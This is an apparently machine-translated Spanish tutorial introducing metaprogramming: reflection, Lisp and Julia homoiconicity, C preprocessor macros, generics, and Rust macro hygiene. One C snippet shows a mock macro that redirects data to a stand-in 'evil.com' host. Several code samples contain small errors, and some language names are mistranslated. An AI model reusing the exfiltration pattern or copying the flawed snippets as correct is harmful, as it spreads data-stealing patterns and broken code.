Código de escritura de código: una introducción a la teoría y práctica de la metaprogramación moderna

Publicado: 2022-07-22

Cada vez que pienso en la mejor manera de explicar las macros, recuerdo un programa de Python que escribí cuando comencé a programar. No pude organizarlo como quería. Tuve que llamar a varias funciones ligeramente diferentes y el código se volvió engorroso. Lo que estaba buscando, aunque entonces no lo sabía, era metaprogramación .

metaprogramación (sust.)

Cualquier técnica por la cual un programa puede tratar el código como datos.

Podemos construir un ejemplo que demuestre los mismos problemas que enfrenté con mi proyecto de Python imaginando que estamos construyendo el back-end de una aplicación para dueños de mascotas. Usando las herramientas en una biblioteca, pet_sdk , escribimos Python para ayudar a los dueños de mascotas a comprar comida para gatos:

 import pet_sdk cats = pet_sdk.get_cats() print(f"Found {len(cats)} cats!") for cat in cats: pet_sdk.order_cat_food(cat, amount=cat.food_needed)
Fragmento 1: Pide comida para gatos

Después de confirmar que el código funciona, pasamos a implementar la misma lógica para dos tipos más de mascotas (pájaros y perros). También añadimos una función para reservar citas con el veterinario:

 # An SDK that can give us information about pets - unfortunately, the functions are slightly different for each pet import pet_sdk # Get all of the birds, cats, and dogs in the system, respectively birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: print(f"Checking information for cat {cat.name}") if cat.hungry(): pet_sdk.order_cat_food(cat, amount=cat.food_needed) cat.clean_litterbox() if cat.sick(): available_vets = pet_sdk.find_vets(animal="cat") if len(available_vets) > 0: vet = available_vets[0] vet.book_cat_appointment(cat) for dog in dogs: print(f"Checking information for dog {dog.name}") if dog.hungry(): pet_sdk.order_dog_food(dog, amount=dog.food_needed) dog.walk() if dog.sick(): available_vets = pet_sdk.find_vets(animal="dog") if len(available_vets) > 0: vet = available_vets[0] vet.book_dog_appointment(dog) for bird in birds: print(f"Checking information for bird {bird.name}") if bird.hungry(): pet_sdk.order_bird_food(bird, amount=bird.food_needed) bird.clean_cage() if bird.sick(): available_vets = pet_sdk.find_birds(animal="bird") if len(available_vets) > 0: vet = available_vets[0] vet.book_bird_appointment(bird)
Fragmento 2: Pida comida para gatos, perros y pájaros; Reservar Cita Veterinaria

Sería bueno condensar la lógica repetitiva de Snippet 2 en un bucle, por lo que nos dispusimos a reescribir el código. Rápidamente nos damos cuenta de que, debido a que cada función tiene un nombre diferente, no podemos determinar cuál (por ejemplo, book_bird_appointment , book_cat_appointment ) llamar en nuestro bucle:

 import pet_sdk all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: # What now?
Fragmento 3: ¿Y ahora qué?

Imaginemos una versión turboalimentada de Python en la que podamos escribir programas que generen automáticamente el código final que queremos, uno en el que podamos manipular nuestro programa de manera flexible, fácil y fluida como si fuera una lista, datos en un archivo o cualquier otro. otro tipo de datos común o entrada de programa:

 import pet_sdk for animal in ["cat", "dog", "bird"]: animals = pet_sdk.get_{animal}s() # When animal is "cat", this # would be pet_sdk.get_cats() for animal in animal: pet_sdk.order_{animal}_food(animal, amount=animal.food_needed) # When animal is "dog" this would be # pet_sdk.order_dog_food(dog, amount=dog.food_needed)
Fragmento 4: TurboPython: un programa imaginario

Este es un ejemplo de una macro , disponible en lenguajes como Rust, Julia o C, por nombrar algunos, pero no en Python.

Este escenario es un gran ejemplo de cómo podría ser útil escribir un programa que pueda modificar y manipular su propio código. Este es precisamente el atractivo de las macros, y es una de las muchas respuestas a una pregunta más importante: ¿Cómo podemos hacer que un programa introspeccione su propio código, tratándolo como datos, y luego actúe sobre esa introspección?

En términos generales, todas las técnicas que pueden lograr tal introspección caen bajo el término general "metaprogramación". La metaprogramación es un subcampo rico en el diseño de lenguajes de programación y se remonta a un concepto importante: el código como datos.

Reflexión: En defensa de Python

Puede señalar que, aunque es posible que Python no brinde soporte para macros, ofrece muchas otras formas de escribir este código. Por ejemplo, aquí usamos el método isinstance() para identificar la clase de la que nuestra variable animal es una instancia y llamar a la función apropiada:

 # An SDK that can give us information about pets - unfortunately, the functions # are slightly different import pet_sdk def process_animal(animal): if isinstance(animal, pet_sdk.Cat): animal_name_type = "cat" order_food_fn = pet_sdk.order_cat_food care_fn = animal.clean_litterbox elif isinstance(animal, pet_sdk.Dog): animal_name_type = "dog" order_food_fn = pet_sdk.order_dog_food care_fn = animal.walk elif isinstance(animal, pet_sdk.Bird): animal_name_type = "bird" order_food_fn = pet_sdk.order_bird_food care_fn = animal.clean_cage else: raise TypeError("Unrecognized animal!") print(f"Checking information for {animal_name_type} {animal.name}") if animal.hungry(): order_food_fn(animal, amount=animal.food_needed) care_fn() if animal.sick(): available_vets = pet_sdk.find_vets(animal=animal_name_type) if len(available_vets) > 0: vet = available_vets[0] # We still have to check again what type of animal it is if isinstance(animal, pet_sdk.Cat): vet.book_cat_appointment(animal) elif isinstance(animal, pet_sdk.Dog): vet.book_dog_appointment(animal) else: vet.book_bird_appointment(animal) all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: process_animal(animal)
Fragmento 5: un ejemplo idiomático

A este tipo de metaprogramación lo llamamos reflexión , y volveremos a él más adelante. El código del Fragmento 5 sigue siendo un poco engorroso pero más fácil de escribir para un programador que el del Fragmento 2, en el que repetimos la lógica para cada animal enumerado.

Desafío

Con el método getattr , modifique el código anterior para llamar dinámicamente a las funciones order_*_food y book_*_appointment apropiadas. Podría decirse que esto hace que el código sea menos legible, pero si conoce bien Python, vale la pena pensar en cómo podría usar getattr en lugar de la función isinstance y simplificar el código.


Homoiconicidad: la importancia de Lisp

Algunos lenguajes de programación, como Lisp, llevan el concepto de metaprogramación a otro nivel a través de la homoiconicidad .

homoiconicidad (sust.)

La propiedad de un lenguaje de programación por la que no hay distinción entre el código y los datos sobre los que opera un programa.

Lisp, creado en 1958, es el lenguaje homoicónico más antiguo y el segundo lenguaje de programación de alto nivel más antiguo. Obteniendo su nombre de "LISt Processor", Lisp fue una revolución en la informática que moldeó profundamente la forma en que se usan y programan las computadoras. Es difícil exagerar cuán fundamental y distintivamente Lisp influyó en la programación.

Emacs está escrito en Lisp, que es el único lenguaje de programación que es hermoso. Neal Stephenson

Lisp se creó solo un año después de FORTRAN, en la era de las tarjetas perforadas y las computadoras militares que llenaban una habitación. Sin embargo, los programadores todavía usan Lisp hoy para escribir aplicaciones nuevas y modernas. El creador principal de Lisp, John McCarthy, fue un pionero en el campo de la IA. Durante muchos años, Lisp fue el lenguaje de la IA, y los investigadores valoraron la capacidad de reescribir dinámicamente su propio código. La investigación de IA de hoy se centra en redes neuronales y modelos estadísticos complejos, en lugar de ese tipo de código de generación lógica. Sin embargo, la investigación realizada sobre IA usando Lisp, especialmente la investigación realizada en los años 60 y 70 en MIT y Stanford, creó el campo tal como lo conocemos, y su enorme influencia continúa.

El advenimiento de Lisp expuso a los primeros programadores a las posibilidades computacionales prácticas de cosas como la recursividad, las funciones de orden superior y las listas enlazadas por primera vez. También demostró el poder de un lenguaje de programación basado en las ideas del cálculo lambda.

Estas nociones provocaron una explosión en el diseño de lenguajes de programación y, como dijo Edsger Dijkstra, uno de los nombres más importantes de la informática, " [...] ayudaron a varios de nuestros congéneres más talentosos a pensar cosas que antes eran imposibles".

Este ejemplo muestra un programa Lisp simple (y su equivalente en la sintaxis de Python más familiar) que define una función "factorial" que calcula recursivamente el factorial de su entrada y llama a esa función con la entrada "7":

Ceceo Pitón
( defun factorial ( n ) ( if ( = n 1 ) 1 ( * n ( factorial ( - n 1 ))))) ( print ( factorial 7 ))
 def factorial (n) : if n == 1 : return 1 else : return n * factorial(n -1 ) print(factorial( 7 ))

Código como datos

A pesar de ser una de las innovaciones más impactantes y consecuentes de Lisp, la homoiconicidad, a diferencia de la recursividad y muchos otros conceptos de los que Lisp fue pionero, no llegó a la mayoría de los lenguajes de programación actuales.

La siguiente tabla compara funciones homoicónicas que devuelven código tanto en Julia como en Lisp. Julia es un lenguaje homoicónico que, en muchos aspectos, se parece a los lenguajes de alto nivel con los que puede estar familiarizado (p. ej., Python, Ruby).

La pieza clave de la sintaxis en cada ejemplo es su carácter de comillas . Julia usa : (dos puntos) para citar, mientras que Lisp usa ' (comillas simples):

julia Ceceo
function function_that_returns_code() return :(x + 1 ) end
 ( defun function_that_returns_code () '(+ x 1 ))

En ambos ejemplos, la comilla junto a la expresión principal ( (x + 1) o (+ x 1) ) la transforma del código que habría sido evaluado directamente en una expresión abstracta que podemos manipular. La función devuelve código, no una cadena o datos. Si tuviéramos que llamar a nuestra función y escribir print(function_that_returns_code()) , Julia imprimiría el código en forma de cadena como x+1 (y el equivalente es cierto para Lisp). Por el contrario, sin : (o ' en Lisp), obtendríamos un error de que x no estaba definida.

Volvamos a nuestro ejemplo de Julia y ampliémoslo:

 function function_that_returns_code(n) return :(x + $n) end my_code = function_that_returns_code(3) print(my_code) # Prints out (x + 3) x = 1 print(eval(my_code)) # Prints out 4 x = 3 print(eval(my_code)) # Prints out 6
Fragmento 6: Ejemplo de Julia ampliado

La función eval se puede usar para ejecutar el código que generamos desde otra parte del programa. Tenga en cuenta que el valor impreso se basa en la definición de la variable x . Si intentáramos eval nuestro código generado en un contexto donde x no estaba definido, obtendríamos un error.

La homoiconicidad es un tipo poderoso de metaprogramación, capaz de desbloquear paradigmas de programación novedosos y complejos en los que los programas pueden adaptarse sobre la marcha, generando código para adaptarse a problemas específicos de dominio o nuevos formatos de datos encontrados.

Tomemos el caso de WolframAlpha, donde el Wolfram Language homoicónico puede generar código para adaptarse a una increíble variedad de problemas. Puede preguntarle a WolframAlpha: "¿Cuál es el PIB de la ciudad de Nueva York dividido por la población de Andorra?" y, notablemente, recibir una respuesta lógica.

Parece poco probable que a alguien se le ocurra incluir este cálculo oscuro y sin sentido en una base de datos, pero Wolfram usa metaprogramación y un gráfico de conocimiento ontológico para escribir código sobre la marcha para responder a esta pregunta.

Es importante comprender la flexibilidad y el poder que brindan Lisp y otros lenguajes homoicónicos. Antes de profundizar más, consideremos algunas de las opciones de metaprogramación a su disposición:

Definición Ejemplos notas
homoiconicidad Una característica del lenguaje en la que el código es información de "primera clase". Dado que no hay separación entre el código y los datos, los dos se pueden usar indistintamente.
  • Ceceo
  • Prólogo
  • julia
  • Rebol/Rojo
  • Lenguaje Wolframio
Aquí, Lisp incluye otros lenguajes de la familia Lisp, como Scheme, Racket y Clojure.
macros Una declaración, función o expresión que toma código como entrada y devuelve código como salida.
  • ¡Las macro_rules! , Derive y macros de procedimiento
  • Las invocaciones @macro de Julia
  • defmacro de Lisp
  • C #define
(Consulte la siguiente nota sobre las macros de C).
Directivas de preprocesador (o precompilador) Un sistema que toma un programa como entrada y, basado en declaraciones incluidas en el código, devuelve una versión modificada del programa como salida.
  • macros de c
  • Sistema de preprocesador # de C++
Las macros de C se implementan usando el sistema de preprocesador de C, pero los dos son conceptos separados.

La diferencia conceptual clave entre las macros de C (en las que usamos la directiva de preprocesador #define ) y otras formas de directivas de preprocesador de C (p. ej., #if y #ifndef ) es que usamos las macros para generar código mientras usamos otras directivas que no son #define . directivas de preprocesador para compilar condicionalmente otro código. Los dos están estrechamente relacionados en C y en algunos otros lenguajes, pero son diferentes tipos de metaprogramación.
Reflexión La capacidad de un programa para examinar, modificar e introspeccionar su propio código.
  • Las isinstance , getattr y Python de Python
  • Reflect y typeof de JavaScript
  • getDeclaredMethods de Java
  • Jerarquía de clases System.Type de .NET
La reflexión puede ocurrir en tiempo de compilación o en tiempo de ejecución.
Genéricos La capacidad de escribir código que sea válido para varios tipos diferentes o que se pueda usar en múltiples contextos pero que se almacene en un solo lugar. Podemos definir los contextos en los que el código es válido de forma explícita o implícita.

Genéricos estilo plantilla:

  • C++
  • Óxido
  • Java

Polimorfismo paramétrico:

  • Haskell
  • ML
La programación genérica es un tema más amplio que la metaprogramación genérica, y la línea entre los dos no está bien definida.

En opinión de este autor, un sistema de tipo paramétrico solo cuenta como metaprogramación si está en un lenguaje de tipo estático.
Una referencia para la metaprogramación

Veamos algunos ejemplos prácticos de homoiconicidad, macros, directivas de preprocesador, reflexión y genéricos escritos en varios lenguajes de programación:

 # Prints out "Hello Will", "Hello Alice", by dynamically creating the lines of code say_hi = :(println("Hello, ", name)) name = "Will" eval(say_hi) name = "Alice" eval(say_hi)
Fragmento 7: Homoiconicidad en Julia
 int main() { #ifdef _WIN32 printf("This section will only be compiled for and run on windows!\n"); windows_only_function(); #elif __unix__ printf("This section will only be compiled for and run on unix!\n"); unix_only_function(); #endif printf("This line runs regardless of platform!\n"); return 1; }
Fragmento 8: Directivas de preprocesador en C
 from pet_sdk import Cat, Dog, get_pet pet = get_pet() if isinstance(pet, Cat): pet.clean_litterbox() elif isinstance(pet, Dog): pet.walk() else: print(f"Don't know how to help a pet of type {type(pet)}")
Fragmento 9: Reflexión en Python
 import com.example.coordinates.*; interface Vehicle { public String getName(); public void move(double xCoord, double yCoord); } public class VehicleDriver<T extends Vehicle> { // This class is valid for any other class T which implements // the Vehicle interface private final T vehicle; public VehicleDriver(T vehicle) { System.out.println("VehicleDriver: " + vehicle.getName()); this.vehicle = vehicle; } public void goHome() { this.vehicle.move(HOME_X, HOME_Y); } public void goToStore() { this.vehicle.move(STORE_X, STORE_Y); } }
Fragmento 10: Genéricos en Java
 macro_rules! print_and_return_if_true { ($val_to_check: ident, $val_to_return: expr) => { if ($val_to_check) { println!("Val was true, returning {}", $val_to_return); return $val_to_return; } } } // The following is the same as if for each of x, y, and z, // we wrote if x { println!...} fn example(x: bool, y: bool, z: bool) -> i32 { print_and_return_if_true!(x, 1); print_and_return_if_true!(z, 2); print_and_return_if_true!(y, 3); }
Fragmento 11: Macros en Rust

Las macros (como la del Snippet 11) se están volviendo populares nuevamente en una nueva generación de lenguajes de programación. Para desarrollarlos con éxito, debemos considerar un tema clave: la higiene.

Macros higiénicas y antihigiénicas

¿Qué significa que el código sea "higiénico" o "antihigiénico"? Para aclarar, veamos una macro de Rust, instanciada por macro_rules! función. Como su nombre lo indica, macro_rules! genera código basado en las reglas que definimos. En este caso, nombramos nuestra macro my_macro y la regla es "Crear la línea de código let x = $n ", donde n es nuestra entrada:

 macro_rules! my_macro { ($n) => { let x = $n; } } fn main() { let x = 5; my_macro!(3); println!("{}", x); }
Fragmento 12: Higiene en Rust

Cuando expandimos nuestra macro (ejecutando una macro para reemplazar su invocación con el código que genera), esperaríamos obtener lo siguiente:

 fn main() { let x = 5; let x = 3; // This is what my_macro!(3) expanded into println!("{}", x); }
Fragmento 13: Nuestro ejemplo, ampliado

Aparentemente, nuestra macro ha redefinido la variable x para que sea igual a 3, por lo que podemos esperar razonablemente que el programa imprima 3 . De hecho, imprime 5 ! ¿Sorprendido? En Rust, macro_rules! es higiénico con respecto a los identificadores, por lo que no "capturaría" identificadores fuera de su alcance. En este caso, el identificador era x . Si hubiera sido capturado por la macro, habría sido igual a 3.

higiene (sust.)

Una propiedad que garantiza que la expansión de una macro no capturará identificadores u otros estados fuera del alcance de la macro. Las macros y los macrosistemas que no proporcionan esta propiedad se denominan antihigiénicos .

La higiene en las macros es un tema algo controvertido entre los desarrolladores. Los defensores insisten en que sin higiene, es demasiado fácil modificar sutilmente el comportamiento de su código por accidente. Imagine una macro que es significativamente más compleja que Snippet 13 utilizada en código complejo con muchas variables y otros identificadores. ¿Qué pasa si esa macro usa una de las mismas variables que su código y no se da cuenta?

No es inusual que un desarrollador use una macro de una biblioteca externa sin haber leído el código fuente. Esto es especialmente común en los lenguajes más nuevos que ofrecen compatibilidad con macros (p. ej., Rust y Julia):

 #define EVIL_MACRO website="https://evil.com"; int main() { char *website = "https://good.com"; EVIL_MACRO send_all_my_bank_data_to(website); return 1; }
Fragmento 14: Una macro C malvada

Esta macro antihigiénica en C captura el website del identificador y cambia su valor. Por supuesto, la captura de identificadores no es maliciosa. Es simplemente una consecuencia accidental del uso de macros.

Entonces, las macros higiénicas son buenas y las macros antihigiénicas son malas, ¿verdad? Desafortunadamente, no es tan simple. Se puede argumentar que las macros higiénicas nos limitan. A veces, la captura de identificadores es útil. Repasemos el Fragmento 2, donde usamos pet_sdk para proporcionar servicios para tres tipos de mascotas. Nuestro código original comenzó así:

 birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: # Cat specific code for dog in dogs: # Dog specific code # etc…
Fragmento 15: Back to the Vet—Recalling pet sdk

Recordará que Snippet 3 fue un intento de condensar la lógica repetitiva de Snippet 2 en un ciclo inclusivo. Pero que tal si nuestro código depende de los identificadores cats y dogs , y quisiéramos escribir algo como lo siguiente:

 {animal}s = pet_sdk.get{animal}s() for {animal} in {animal}s: # {animal} specific code
Fragmento 16: Captura de identificador útil (en "TurboPython" imaginario)

El fragmento 16 es un poco simple, por supuesto, pero imagine un caso en el que querríamos que una macro escribiera el 100 % de una parte determinada del código. Las macros higiénicas podrían ser limitantes en tal caso.

Si bien el macro debate higiénico versus antihigiénico puede ser complejo, la buena noticia es que no es uno en el que deba tomar una postura. El idioma que está utilizando determina si sus macros serán higiénicas o antihigiénicas, así que tenga esto en cuenta cuando utilice macros.

macros modernas

Las macros están teniendo un momento ahora. Durante mucho tiempo, el enfoque de los lenguajes de programación imperativos modernos se alejó de las macros como parte central de su funcionalidad, evitándolas en favor de otros tipos de metaprogramación.

Los lenguajes que se les enseñaba a los nuevos programadores en las escuelas (por ejemplo, Python y Java) les decían que todo lo que necesitaban era reflexión y genéricos.

Con el tiempo, a medida que esos lenguajes modernos se hicieron populares, las macros se asociaron con la intimidante sintaxis del preprocesador C y C++, si es que los programadores las conocían.

Sin embargo, con la llegada de Rust y Julia, la tendencia ha vuelto a las macros. Rust y Julia son dos lenguajes modernos, accesibles y ampliamente utilizados que han redefinido y popularizado el concepto de macros con algunas ideas nuevas e innovadoras. Esto es especialmente emocionante en Julia, que parece estar a punto de tomar el lugar de Python y R como un lenguaje versátil fácil de usar y con "baterías incluidas".

Cuando vimos pet_sdk por primera vez a través de nuestras gafas "TurboPython", lo que realmente queríamos era algo como Julia. Reescribamos Snippet 2 en Julia, usando su homoiconicidad y algunas de las otras herramientas de metaprogramación que ofrece:

 using pet_sdk for (pet, care_fn) = (("cat", :clean_litterbox), ("dog", :walk_dog), ("dog", :clean_cage)) get_pets_fn = Meta.parse("pet_sdk.get_${pet}s") @eval begin local animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), etc. for animal in animals animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), etc. end end end
Fragmento 17: El poder de las macros de Julia: hacer que pet_sdk trabaje para nosotros

Analicemos el Fragmento 17:

  1. Iteramos a través de tres tuplas. El primero de ellos es ("cat", :clean_litterbox) , por lo que la variable pet se asigna a "cat" y la variable care_fn se asigna al símbolo entrecomillado :clean_litterbox .
  2. Usamos la función Meta.parse para convertir una cadena en una Expression , para que podamos evaluarla como código. En este caso, queremos usar el poder de la interpolación de cadenas, donde podemos poner una cadena dentro de otra, para definir qué función llamar.
  3. Usamos la función eval para ejecutar el código que estamos generando. @eval begin… end es otra forma de escribir eval(...) para evitar volver a escribir el código. Dentro del bloque @eval hay un código que estamos generando y ejecutando dinámicamente.

El sistema de metaprogramación de Julia realmente nos libera para expresar lo que queremos de la manera que lo queremos. Podríamos haber usado varios otros enfoques, incluida la reflexión (como Python en Snippet 5). También podríamos haber escrito una función de macro que genera explícitamente el código para un animal específico, o podríamos haber generado el código completo como una cadena y utilizar Meta.parse o cualquier combinación de esos métodos.

Más allá de Julia: otros sistemas modernos de metaprogramación

Julia es quizás uno de los ejemplos más interesantes y convincentes de un sistema macro moderno, pero no es, de ninguna manera, el único. Rust también ha sido fundamental para traer macros frente a los programadores una vez más.

En Rust, las macros aparecen de manera mucho más central que en Julia, aunque no lo exploraremos completamente aquí. Por un montón de razones, no puedes escribir Rust idiomático sin usar macros. En Julia, sin embargo, podría optar por ignorar por completo la homoiconicidad y el sistema macro.

Como consecuencia directa de esa centralidad, el ecosistema de Rust realmente ha adoptado las macros. Los miembros de la comunidad han creado algunas bibliotecas, pruebas de concepto y funciones increíblemente geniales con macros, incluidas herramientas que pueden serializar y deserializar datos, generar automáticamente SQL o incluso convertir anotaciones dejadas en el código a otro lenguaje de programación, todo generado en código en tiempo de compilación.

Si bien la metaprogramación de Julia puede ser más expresiva y libre, Rust es probablemente el mejor ejemplo de un lenguaje moderno que eleva la metaprogramación, ya que se presenta en gran medida en todo el lenguaje.

Un ojo al futuro

Ahora es un momento increíble para interesarse en los lenguajes de programación. Hoy, puedo escribir una aplicación en C++ y ejecutarla en un navegador web o escribir una aplicación en JavaScript para ejecutarla en una computadora de escritorio o teléfono. Las barreras de entrada nunca han sido más bajas, y los nuevos programadores tienen información al alcance de la mano como nunca antes.

En este mundo de elección y libertad del programador, tenemos cada vez más el privilegio de utilizar lenguajes ricos y modernos, que seleccionan características y conceptos de la historia de la informática y lenguajes de programación anteriores. Es emocionante ver las macros recogidas y desempolvadas en esta ola de desarrollo. No puedo esperar a ver qué harán los desarrolladores de una nueva generación cuando Rust y Julia les presenten las macros. Recuerde, "código como datos" es más que un eslogan. Es una ideología central a tener en cuenta cuando se habla de metaprogramación en cualquier comunidad en línea o entorno académico.

'Codificar como datos' es más que un eslogan.

Pío

Los 64 años de historia de la metaprogramación han sido parte integral del desarrollo de la programación tal como la conocemos hoy. Si bien las innovaciones y la historia que exploramos son solo una esquina de la saga de la metaprogramación, ilustran el sólido poder y la utilidad de la metaprogramación moderna.